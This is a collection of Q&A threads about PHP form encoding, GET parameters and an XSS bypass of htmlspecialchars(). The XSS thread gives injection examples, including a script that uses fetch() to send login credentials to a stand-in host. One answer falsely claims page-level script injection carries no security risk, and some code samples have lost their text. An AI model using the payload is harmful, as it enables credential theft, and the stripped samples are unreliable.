Form action not working with special characters (&) - php

I have a reservation form and the form action should be:
https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~
But it's not working. When I submit the form, everything from ? is just ignored.
As a solution, I named the first field as
name="smsworld~availbox~&RAD"
It's ALMOST working, the only problem now is that when I submit my form, the "&" is being switched by %26.
The URL that I should get is:
https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~&RAD=10%2F15%2F2014&RDD=10%2F21%2F2014&nights=3&RCA=2
But instead, I'm getting:
https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~%26RAD=10%2F15%2F2014&RDD=10%2F21%2F2014&nights=6&RCA=2
Any suggestions?

Are you using GET or POST (the method attribute on the form) ? If GET, the URL in the action cannot contain query-string parameters. Try using POST instead.
I just made a fiddle for you which has two forms. One using GET (does not work) and the other using POST (Seems to work):
<form action="https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~" method="get">
<input type="submit" value="Submit GET" />
</form>
<form action="https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~" method="post">
<input type="submit" value="Submit POST" />
</form>
http://jsfiddle.net/n80e6Lzv/

What you're observing is URL encoding. Certain characters in URL's are reserved characters, such that you cannot make parts of the URL that contain that character, or else the URL will get misinterpreted. Ampersand is one of those characters.
Consider what a URL with a query string looks like:
http://test.com?name1=value1&name2=value2
As you're probably already aware, the query string variables are separated by an ampersand. URL encoding substitutes a group of characters for a reserved character, to prevent misinterpretations of the URL.
In other words, the URL you're asking for is impossible. Your GET data would be interpreted as:
$_GET = array(
'smsworld~availbox~' => '',
'RAD' => '10/15/2014', //An additional index created by the unencoded ampersand
//etc...
);
If that extra RAD index was your actual intent, that is not possible this way. You should be making use of hidden fields to add RAD as an additional query string variable instead. One form field for each query string variable only.

thanks for all the replies, but I've found a solution for this using a few lines of javascript.
$('.submit-btn').on('click', function(e) {
var checkinDate = $('#checkAvailDate').val(),
guests = parseInt($'#checkAvailAdults').val()) + parseInt($('#checkAvailChildren').val());
var formAction = 'https://reservations.posthotel.com/smsworld/wc.dll?smsworld~availbox~&RAD=10%2F15%2F2014&nights=6&RCA=' + guests;
var win = window.open(formAction, '_blank');
win.focus();
e.preventDefault();
});
I'm not done with formatting all the fields yet, but even then, thank you very much for all the help :)

Related

Remove %5B%5D from URL when submitting form

When I submit a form with multiple checkboxes that have the same name I get a URL that looks something like this:
www.mysite.com/search.php?myvalue%5B%5D=value1&myvalue%5B%5D=value2
Is there someway that I can remove the %5B%5D to make the URL "pretty", with something like htaccess?
Code:
<form>
<input type="checkbox" name="myvalue[]" value="value1">
<input type="checkbox" name="myvalue[]" value="value2">
</form>
Is there someway that I can remove the %5B%5D to make the URL "pretty", with something like htaccess?
No. The [] are reserved characters in URLs, so they definitely need to be URL-encoded.
If using POST is not an option, which makes sense given that it's a search form, your best bet is to just give them each a different name with a value of 1 or so.
<form>
<input type="checkbox" name="option1" value="1" />
<input type="checkbox" name="option2" value="1" />
</form>
Or, if you really insist in them having the same name, then you should be extracting the query string yourself instead of relying on the PHP specific feature of returning an array when obtaining a parameter with a [] suffix in the name.
$params = explode('&', $_SERVER['QUERY_STRING']);
foreach ($params as $param) {
$name_value = explode('=', $param);
$name = $name_value[0];
$value = $name_value[1];
// ... Collect them yourself.
}
This way you can just keep using the braceless name.
<form>
<input type="checkbox" name="option" value="option1" />
<input type="checkbox" name="option" value="option2" />
</form>
[ and ] are reserved characters in a URL, so the browser must encode them in order for the URL to work correctly. You cannot have these characters in a URL. Nor can you have any other reserved characters such as spaces, ampersands, etc. They will all be encoded automatically for you (in many cases, even if you type the URL into the browser manually).
If you need a "pretty URL" you can:
Not use a form at all; provide a link to a known "pretty" URL.
Accept the ugly URL, but redirect it immediately to the pretty URL in point 1 above.
Avoid using angle brackets at all in your field names (but this would mean a lot of changes to your back-end code too)
Use a POST method on the form, so that the field data doesn't show up on the URL at all (but this would mean you don't have a link the user can bookmark).
If you must "prettify" this URL, my suggestion would be option 2 above.
Frankly, though, I wouldn't worry about it. People get waaaay to stressed about "pretty" URLs. I don't really get why.
Very few people I know ever actually type in a URL longer than just a domain name.
If you're worried about SEO for this, don't -- the search engine bots know what ULR encoding is and can look past it.
The only other reason for wanting a "pretty" URL is so that it looks good if users share it via an email link or something. To be honest, if you're worried about URL prettyness for that and it's got form fields in it then it's already too ugly, with just the & and = signs all over the place. The encoded brackets really don't make it any worse.
So my honest answer is: don't sweat it. It's normal; ignore it; get on with more important parts of your web development work.
If that is really a problem for you, how about "merging" everything into a single param using some kind of separator like , (or whatever you want).
So, instead of having a URI like myvalue%5B%5D=value1&myvalue%5B%5D=value2, you would end up with a URI like myvalue=value1,value2.
This is just an idea, don't have the code right now, but you will need to do it with JS, and parse the param value on your backend (in order to have an array).

HTML checkbox form and HTTP URL

So, I have this HTML form:
<form id="search_form" class="form_wrapp"
accept-charset="utf-8" method="get" action="http://testing.com/results">
<input class="inputbox" type="text" name="search_query">
<input class="ic_search" type="submit" value="">
<input type="checkbox" value="checkbox1" name="search_filter[]">
<label for="Checkbox1">Checkbox1</label>
<input type="checkbox" value="checkbox2" name="search_filter[]">
<label for="Checkbox2">Checkbox2</label>
</form>
and it redirects to this URL upon submit with the 2 checkboxes checked
results?search_query=dreams&search_filter[]=checkbox1&search_filter[]=checkbox2
It works like this (inside codeigniter I get the data with $this->input->get('search_filter')), but my question is: I am doing something wrong inside the form, or this is how it's supposed to work?
And I mean about: &search_filter[]=checkbox1&search_filter[]=checkbox2. Shouldn't it be something like: &search_filter[]=checkbox1,checkbox2 ? And if not, how can I make it work like that?
If you want it in the comma format you can do the following:
$filters = (array) $this->input->get('search_filter');
$filters = implode(',',$filters);
If you want to alter the format in which the form is submitted, assuming jquery for js:
$('#search_form').submit(function() {
var $hidden = $('<input type="hidden" name="search_filter" />').appendTo($(this)),
$filters = $('input[name^=search_filter]'),
value = '';
//loop through the filters check if there checked and add them to the value
$hidden.val(value);
$filters.remove();
});
Of course if the user doesn't have js enabled it will submit natively
Am I doing something wrong inside the form, or this is how it's supposed to work?
That's how it's supposed to work. At least if you need to read query string with PHP, those brackets need to be there to read the whole query string without each search_filter value being overwritten by the next one.
And if not, how can I make it work like that?
If you have to, you can use a POST request instead, process the submission, and redirect to the URL of your choice with whatever query string you want.
From your comment:
I wanted to make the url like this &search_filter[]=checkbox1,checkbox2 just to make it a bit more "beautiful"
Don't worry about that, seriously. The only time this matters is when you're doing extreme SEO and you don't want two URLs that point to the same place. It's common practice in those cases to remove all unused keys and alphabetize them so that all URLs with query strings are consistent, but mangling them into something custom still isn't a part of that.
Besides that, don't fight against the behavior - work with it - it's not "broken" and making it "beautiful" won't matter to anyone, plus you'll have to guess/remember which pages process query strings the correct way, and which ones use your "custom" method.
I am doing something wrong inside the form, or this is how it's supposed to work?
That is how it is supposed to work
Shouldn't it be something like: &search_filter[]=checkbox1,checkbox2 ?
Then you couldn't tell the difference between two items and one item that had a comma in it.
And if not, how can I make it work like that?
Obtrusive JavaScript. Don't do that. Forms work well the way they work.
That's perfectly normal. form data is always sent in key=value pairs, with one single value. Submitting key=value,value is not part of the HTTP spec, and would have the values treated as a single monolithic string, not two separate comma-separated values.
You can certainly use some JS to rebuild your form on the fly to use the value,value format, but then you'll have to mod your server-side scripts to accept that new format as well. PHP won't auto-split the values before you, because it's not a standard representation.
&search_filter[]=checkbox1,checkbox2
Why you need this?
Use this like:
<?php
$searchFilter = $this->input->get('search_filter');
foreach($searchFilter as $filter)
// some actions with filters.
You search_filter[] is simple array with values from checkbox inputs.

PHP pass a string containing quotations via GET

I am trying to pass a string that already contains quotation marks from one php file to another via a hyperlink and the GET method.
I am retrieving thousands of lines which contain quotation marks in a while loop and saving the output to a variable as follows:
while ($trouble_row = mysql_fetch_array($trouble_result)) {
$ticketid = $trouble_row['ticketid'];
$ticketno = $trouble_row['ticket_no'];
$created = $trouble_row['createdtime'];
$modified = $trouble_row['modifiedtime'];
$title = $trouble_row['title'];
$solution = $trouble_row['solution'];
$hoursattended = $trouble_row['cf_629'];
$hoursbilled = $trouble_row['cf_628'];
$csv .= "$firstname $lastname,$ticketno,$created,$modified,$hoursattended,$hoursbilled,$title,$solution\n";
}
The variable $title sometimes contains an entry that looks like this:
The user "tom" is having problems.
The variable $csv is collecting all the results from each pass and creating a CSV formatted string that I then need to pass to a new php script, which I am trying to do using a hyperlink:
a href="export_csv.php?csv=$csv">Export to CSV</a>
Unfortunately the embedded quotation marks are recognized by the hyperlink and cut off the majority of the output. Any suggestions on how to collect the data differently, store it differently, or pass it differently would be greatly appreciated!
For parameters in links, you need to use urlencode():
echo 'Export to CSV';
note however that GET requests have length limits starting in the 1-2k area (depending on browser and server).
Alternative approaches:
Forms
One method that is immune to length limits is creating a <form> element for each link with method="post" and adding the values in <input type='hidden'> inputs. You would then style the submit button of the form like a link.
<form action="export_csv.php" method="post">
<input type="hidden" name="csv" value=".......">
<button type="submit">Click here </button> <!-- Use CSS to style -->
</form>
Sessions
Another very elegant way to pass the data would be
Generating a random key
Saving the CSV data in a $_SESSION variable with the random key
Passing the random (short) key in the URL instead of the full data
You'd just have to take care of deleting unused random keys (and their data) frequently.
These kinds of links couldn't be bookmarked, of course.
Use urlencode() before creating the hyperlink url, and use urldecode() to get the original string.
use urlencode() for embedding into a link, and html_special_chars() for embedding into form fields.
url_encode and url_decode.
Quickest and easiest solution given what you already have is probably to change this:
Export to CSV
To something like this:
Export to CSV

XSS attack to bypass htmlspecialchars() function in value attribute

Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')

php htmlspecialchars() from one form to another

Why can't htmlspecialchars() continually encode characters after each form submission? Take a look at the following example:
<?php $_POST['txt'] = htmlspecialchars($_POST['txt']); ?>
<form method="post">
<input name="txt" value="<?=$_POST['txt'] ?>" />
<input type="submit" name="save" value="test" />
</form>
You can see it at running at http://verticalcms.com/htmlspecialchars.php.
Now do the following
1) Type & into the text field
2) Hit the test button once
3) When the page completes post back, hit the test button again
4) When the page completes post back, view the page source code
In the input box, the value is & amp;
I was expecting & amp; amp;
Why is it not & amp; amp; ???
This simply is HTML entity encoding. When using "&" in an HTML attribute, it should be encoded. And this is what you are doing.
So, the browser reads
<input value="&" />
and translates it to an "textbox widget with value '&'".
The same would be true for other special chars:
<input value="&quot" />
would result in a " character.
When you submit the form, the browser sends these values unencoded, therefore your PHP script receives it like "&", not "&".
The values in $_POST are already html-decoded for convenience. So when your script starts, the following is true:
$_POST['txt'] == '&';
htmlspecialchars('&') == '&'
[edit]
Looks like this needs further explanation
When a form like the one above is submitted to the server by the browser with a single ampersand as the value of 'txt', it puts the following into the body of the request:
txt=&
The value is encoded because the browser would concatenate multiple fields with an ampersand character like
txt=&&user=soulmerge&pass=whatever
PHP takes the transmitted values and decodes them for the convenience of the programmer - it makes an ampersand out of & Now I though this was the reason for the question in the first place - guess I got it wrong. The actual question was answered correctly by Ferdinand.

Categories